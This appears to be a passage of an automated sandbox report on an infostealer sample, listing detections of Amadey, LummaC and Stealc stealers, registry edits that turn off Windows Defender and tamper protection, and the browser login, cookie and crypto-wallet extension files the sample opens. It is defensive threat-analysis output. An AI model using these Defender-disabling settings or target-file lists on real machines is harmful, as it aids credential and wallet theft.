Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1 Jump to behavior
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Registry value created: TamperProtection 0 Jump to behavior
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations Jump to behavior
AV process strings found (often used to terminate AV products)
Source: file.exe, 00000000.00000003.1820322905.00000000015D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820532270.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2705274842.00000000058D9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2789739738.00000000058D2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2680423685.00000000058D1000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2673940178.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2673069421.0000000000C91000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2927351090.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2927015968.0000000000D29000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 7.2.skotes.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.SP29EZJLUAF4OXVNPKLP.exe.e30000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.skotes.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.skotes.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.J3F2AVPL447NSFJEKUT1.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.2005513502.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1990496875.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000003.2300805350.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000003.1949723349.0000000004810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.1912535075.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2914036653.0000000000221000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.2873181974.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.1965015613.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.1953939305.0000000000E31000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: 00000022.00000002.2983262363.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: a8c7d2631f.exe PID: 8132, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 7528, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3e1d30d118.exe PID: 7660, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3e1d30d118.exe PID: 6380, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 32.2.num.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.num.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.2.c077ee22d1.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.c077ee22d1.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.2922821640.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.2803596225.000000000017E000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2828392068.0000000000161000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2828721900.0000000005440000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2676689966.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.2803560283.0000000000161000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2717758485.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.2927409227.000000000182B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2828765509.000000000017E000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2839248106.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: c077ee22d1.exe PID: 6988, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: allets/Electrum"
Source: 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/ElectronCash
Source: file.exe, 00000000.00000003.1820322905.00000000015D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Jaxx Liberty
Source: 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \\Exodus\\exodus#
Source: file.exe, 00000000.00000003.1763813024.00000000015F6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ExodusWeb3
Source: 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: a%\\Ethereum","m?
Source: 3e1d30d118.exe String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1763911289.00000000015DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
